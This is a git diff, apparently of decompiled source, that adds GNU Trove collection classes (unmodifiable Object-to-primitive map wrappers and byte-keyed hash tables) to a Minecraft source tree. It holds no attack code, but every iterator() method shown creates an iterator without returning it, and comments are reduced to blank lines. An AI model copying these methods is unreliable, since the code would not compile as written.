+    public char getNoEntryKey() { return m.getNoEntryKey(); }
+    
+    public boolean forEachKey(TCharProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TObjectProcedure<V> procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TCharObjectProcedure<V> procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TCharObjectIterator<V> iterator() {
+      new gnu.trove.iterator.TCharObjectIterator() {
+        gnu.trove.iterator.TCharObjectIterator<V> iter = m.iterator();
+        
+        public char key() { return iter.key(); }
+        public V value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public V setValue(V val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public V putIfAbsent(char key, V value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TObjectFunction<V, V> function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TCharObjectProcedure<V> procedure) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableObjectDoubleMap<K>
+    implements gnu.trove.map.TObjectDoubleMap<K>, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TObjectDoubleMap<K> m;
+    
+
+    public TUnmodifiableObjectDoubleMap(gnu.trove.map.TObjectDoubleMap<K> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(Object key) { return m.containsKey(key); }
+    public boolean containsValue(double val) { return m.containsValue(val); }
+    public double get(Object key) { return m.get(key); }
+    
+    public double put(K key, double value) { throw new UnsupportedOperationException(); }
+    public double remove(Object key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TObjectDoubleMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends K, ? extends Double> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient java.util.Set<K> keySet = null;
+    private transient TDoubleCollection values = null;
+    
+    public java.util.Set<K> keySet() {
+      if (keySet == null)
+        keySet = java.util.Collections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public Object[] keys() { return m.keys(); }
+    public K[] keys(K[] array) { return m.keys(array); }
+    
+    public TDoubleCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public double[] values() { return m.values(); }
+    public double[] values(double[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public double getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TObjectProcedure<K> procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TDoubleProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TObjectDoubleProcedure<K> procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TObjectDoubleIterator<K> iterator() {
+      new gnu.trove.iterator.TObjectDoubleIterator() {
+        gnu.trove.iterator.TObjectDoubleIterator<K> iter = m.iterator();
+        
+        public K key() { return iter.key(); }
+        public double value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public double setValue(double val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public double putIfAbsent(K key, double value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TDoubleFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TObjectDoubleProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(K key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(K key, double amount) { throw new UnsupportedOperationException(); }
+    public double adjustOrPutValue(K key, double adjust_amount, double put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableObjectFloatMap<K>
+    implements gnu.trove.map.TObjectFloatMap<K>, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TObjectFloatMap<K> m;
+    
+    public TUnmodifiableObjectFloatMap(gnu.trove.map.TObjectFloatMap<K> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(Object key) { return m.containsKey(key); }
+    public boolean containsValue(float val) { return m.containsValue(val); }
+    public float get(Object key) { return m.get(key); }
+    
+    public float put(K key, float value) { throw new UnsupportedOperationException(); }
+    public float remove(Object key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TObjectFloatMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends K, ? extends Float> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient java.util.Set<K> keySet = null;
+    private transient TFloatCollection values = null;
+    
+    public java.util.Set<K> keySet() {
+      if (keySet == null)
+        keySet = java.util.Collections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public Object[] keys() { return m.keys(); }
+    public K[] keys(K[] array) { return m.keys(array); }
+    
+    public TFloatCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public float[] values() { return m.values(); }
+    public float[] values(float[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public float getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TObjectProcedure<K> procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TFloatProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TObjectFloatProcedure<K> procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TObjectFloatIterator<K> iterator() {
+      new gnu.trove.iterator.TObjectFloatIterator() {
+        gnu.trove.iterator.TObjectFloatIterator<K> iter = m.iterator();
+        
+        public K key() { return iter.key(); }
+        public float value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public float setValue(float val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public float putIfAbsent(K key, float value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TFloatFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TObjectFloatProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(K key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(K key, float amount) { throw new UnsupportedOperationException(); }
+    public float adjustOrPutValue(K key, float adjust_amount, float put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableObjectIntMap<K>
+    implements gnu.trove.map.TObjectIntMap<K>, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TObjectIntMap<K> m;
+    
+    public TUnmodifiableObjectIntMap(gnu.trove.map.TObjectIntMap<K> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(Object key) { return m.containsKey(key); }
+    public boolean containsValue(int val) { return m.containsValue(val); }
+    public int get(Object key) { return m.get(key); }
+    
+    public int put(K key, int value) { throw new UnsupportedOperationException(); }
+    public int remove(Object key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TObjectIntMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends K, ? extends Integer> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient java.util.Set<K> keySet = null;
+    private transient TIntCollection values = null;
+    
+    public java.util.Set<K> keySet() {
+      if (keySet == null)
+        keySet = java.util.Collections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public Object[] keys() { return m.keys(); }
+    public K[] keys(K[] array) { return m.keys(array); }
+    
+    public TIntCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public int[] values() { return m.values(); }
+    public int[] values(int[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public int getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TObjectProcedure<K> procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TIntProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TObjectIntProcedure<K> procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TObjectIntIterator<K> iterator() {
+      new gnu.trove.iterator.TObjectIntIterator() {
+        gnu.trove.iterator.TObjectIntIterator<K> iter = m.iterator();
+        
+        public K key() { return iter.key(); }
+        public int value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public int setValue(int val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public int putIfAbsent(K key, int value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TIntFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TObjectIntProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(K key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(K key, int amount) { throw new UnsupportedOperationException(); }
+    public int adjustOrPutValue(K key, int adjust_amount, int put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableObjectLongMap<K>
+    implements gnu.trove.map.TObjectLongMap<K>, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TObjectLongMap<K> m;
+    
+    public TUnmodifiableObjectLongMap(gnu.trove.map.TObjectLongMap<K> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(Object key) { return m.containsKey(key); }
+    public boolean containsValue(long val) { return m.containsValue(val); }
+    public long get(Object key) { return m.get(key); }
+    
+    public long put(K key, long value) { throw new UnsupportedOperationException(); }
+    public long remove(Object key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TObjectLongMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends K, ? extends Long> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient java.util.Set<K> keySet = null;
+    private transient TLongCollection values = null;
+    
+    public java.util.Set<K> keySet() {
+      if (keySet == null)
+        keySet = java.util.Collections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public Object[] keys() { return m.keys(); }
+    public K[] keys(K[] array) { return m.keys(array); }
+    
+    public TLongCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public long[] values() { return m.values(); }
+    public long[] values(long[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public long getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TObjectProcedure<K> procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TLongProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TObjectLongProcedure<K> procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TObjectLongIterator<K> iterator() {
+      new gnu.trove.iterator.TObjectLongIterator() {
+        gnu.trove.iterator.TObjectLongIterator<K> iter = m.iterator();
+        
+        public K key() { return iter.key(); }
+        public long value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public long setValue(long val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public long putIfAbsent(K key, long value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TLongFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TObjectLongProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(K key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(K key, long amount) { throw new UnsupportedOperationException(); }
+    public long adjustOrPutValue(K key, long adjust_amount, long put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableObjectByteMap<K>
+    implements gnu.trove.map.TObjectByteMap<K>, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TObjectByteMap<K> m;
+    
+    public TUnmodifiableObjectByteMap(gnu.trove.map.TObjectByteMap<K> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(Object key) { return m.containsKey(key); }
+    public boolean containsValue(byte val) { return m.containsValue(val); }
+    public byte get(Object key) { return m.get(key); }
+    
+    public byte put(K key, byte value) { throw new UnsupportedOperationException(); }
+    public byte remove(Object key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TObjectByteMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends K, ? extends Byte> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient java.util.Set<K> keySet = null;
+    private transient TByteCollection values = null;
+    
+    public java.util.Set<K> keySet() {
+      if (keySet == null)
+        keySet = java.util.Collections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public Object[] keys() { return m.keys(); }
+    public K[] keys(K[] array) { return m.keys(array); }
+    
+    public TByteCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public byte[] values() { return m.values(); }
+    public byte[] values(byte[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public byte getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TObjectProcedure<K> procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TByteProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TObjectByteProcedure<K> procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TObjectByteIterator<K> iterator() {
+      new gnu.trove.iterator.TObjectByteIterator() {
+        gnu.trove.iterator.TObjectByteIterator<K> iter = m.iterator();
+        
+        public K key() { return iter.key(); }
+        public byte value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public byte setValue(byte val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public byte putIfAbsent(K key, byte value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TByteFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TObjectByteProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(K key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(K key, byte amount) { throw new UnsupportedOperationException(); }
+    public byte adjustOrPutValue(K key, byte adjust_amount, byte put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableObjectShortMap<K>
+    implements gnu.trove.map.TObjectShortMap<K>, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TObjectShortMap<K> m;
+    
+    public TUnmodifiableObjectShortMap(gnu.trove.map.TObjectShortMap<K> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(Object key) { return m.containsKey(key); }
+    public boolean containsValue(short val) { return m.containsValue(val); }
+    public short get(Object key) { return m.get(key); }
+    
+    public short put(K key, short value) { throw new UnsupportedOperationException(); }
+    public short remove(Object key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TObjectShortMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends K, ? extends Short> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient java.util.Set<K> keySet = null;
+    private transient TShortCollection values = null;
+    
+    public java.util.Set<K> keySet() {
+      if (keySet == null)
+        keySet = java.util.Collections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public Object[] keys() { return m.keys(); }
+    public K[] keys(K[] array) { return m.keys(array); }
+    
+    public TShortCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public short[] values() { return m.values(); }
+    public short[] values(short[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public short getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TObjectProcedure<K> procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TShortProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TObjectShortProcedure<K> procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TObjectShortIterator<K> iterator() {
+      new gnu.trove.iterator.TObjectShortIterator() {
+        gnu.trove.iterator.TObjectShortIterator<K> iter = m.iterator();
+        
+        public K key() { return iter.key(); }
+        public short value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public short setValue(short val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public short putIfAbsent(K key, short value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TShortFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TObjectShortProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(K key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(K key, short amount) { throw new UnsupportedOperationException(); }
+    public short adjustOrPutValue(K key, short adjust_amount, short put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableObjectCharMap<K>
+    implements gnu.trove.map.TObjectCharMap<K>, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TObjectCharMap<K> m;
+    
+    public TUnmodifiableObjectCharMap(gnu.trove.map.TObjectCharMap<K> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(Object key) { return m.containsKey(key); }
+    public boolean containsValue(char val) { return m.containsValue(val); }
+    public char get(Object key) { return m.get(key); }
+    
+    public char put(K key, char value) { throw new UnsupportedOperationException(); }
+    public char remove(Object key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TObjectCharMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends K, ? extends Character> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient java.util.Set<K> keySet = null;
+    private transient TCharCollection values = null;
+    
+    public java.util.Set<K> keySet() {
+      if (keySet == null)
+        keySet = java.util.Collections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public Object[] keys() { return m.keys(); }
+    public K[] keys(K[] array) { return m.keys(array); }
+    
+    public TCharCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public char[] values() { return m.values(); }
+    public char[] values(char[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public char getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TObjectProcedure<K> procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TCharProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TObjectCharProcedure<K> procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TObjectCharIterator<K> iterator() {
+      new gnu.trove.iterator.TObjectCharIterator() {
+        gnu.trove.iterator.TObjectCharIterator<K> iter = m.iterator();
+        
+        public K key() { return iter.key(); }
+        public char value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public char setValue(char val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public char putIfAbsent(K key, char value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TCharFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TObjectCharProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(K key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(K key, char amount) { throw new UnsupportedOperationException(); }
+    public char adjustOrPutValue(K key, char adjust_amount, char put_amount) { throw new UnsupportedOperationException(); }
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TByteByteHash.java b/src/minecraft/gnu/trove/impl/hash/TByteByteHash.java
new file mode 100644
index 0000000..11517cf
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TByteByteHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TByteProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TByteByteHash
+  extends TPrimitiveHash
+{
+  public transient byte[] _set;
+  protected byte no_entry_key;
+  protected byte no_entry_value;
+  
+  public TByteByteHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TByteByteHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TByteByteHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TByteByteHash(int initialCapacity, float loadFactor, byte no_entry_key, byte no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public byte getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public byte getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new byte[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(byte val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TByteProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(byte key)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(byte key)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeByte(no_entry_key);
+    
+
+    out.writeByte(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readByte();
+    
+
+    no_entry_value = in.readByte();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TByteCharHash.java b/src/minecraft/gnu/trove/impl/hash/TByteCharHash.java
new file mode 100644
index 0000000..c6ab6f9
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TByteCharHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TByteProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TByteCharHash
+  extends TPrimitiveHash
+{
+  public transient byte[] _set;
+  protected byte no_entry_key;
+  protected char no_entry_value;
+  
+  public TByteCharHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+  public TByteCharHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+
+  public TByteCharHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TByteCharHash(int initialCapacity, float loadFactor, byte no_entry_key, char no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public byte getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public char getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new byte[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(byte val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TByteProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(byte key)
+  {
+    byte[] states = _states;
+    byte[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
